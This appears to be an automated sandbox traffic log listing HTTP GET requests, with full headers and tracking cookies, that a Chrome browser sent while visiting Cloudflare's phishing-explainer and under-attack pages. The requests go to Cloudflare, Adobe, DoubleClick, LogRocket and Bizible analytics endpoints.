Source: global traffic	HTTP traffic detected: GET /i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Ct&ct=79.54295221373373 HTTP/1.1Host: r.logr-ingest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/1639 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _biz_nA=8; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261229; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/1639 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=214050608 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=352691990 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1951411652 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1855457727 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=b1207c68-62b6-4974-8127-bf13f0d8c911 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/1639 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261229; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%25
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_t=1729259407873&_biz_i=Website%20Under%20Attack%3F%20%7C%20Get%2024%2F7%20Emergency%20Support%20%7C%20Cloudflare&_biz_n=8&rnd=123818&cdn_o=a&_biz_z=1729259407874 HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _biz_nA=8; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261229; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/1639 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261229; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%25
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=cd4b43d0-c2c9-435c-92dc-6e9808436b25 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _biz_nA=8; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261229; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947
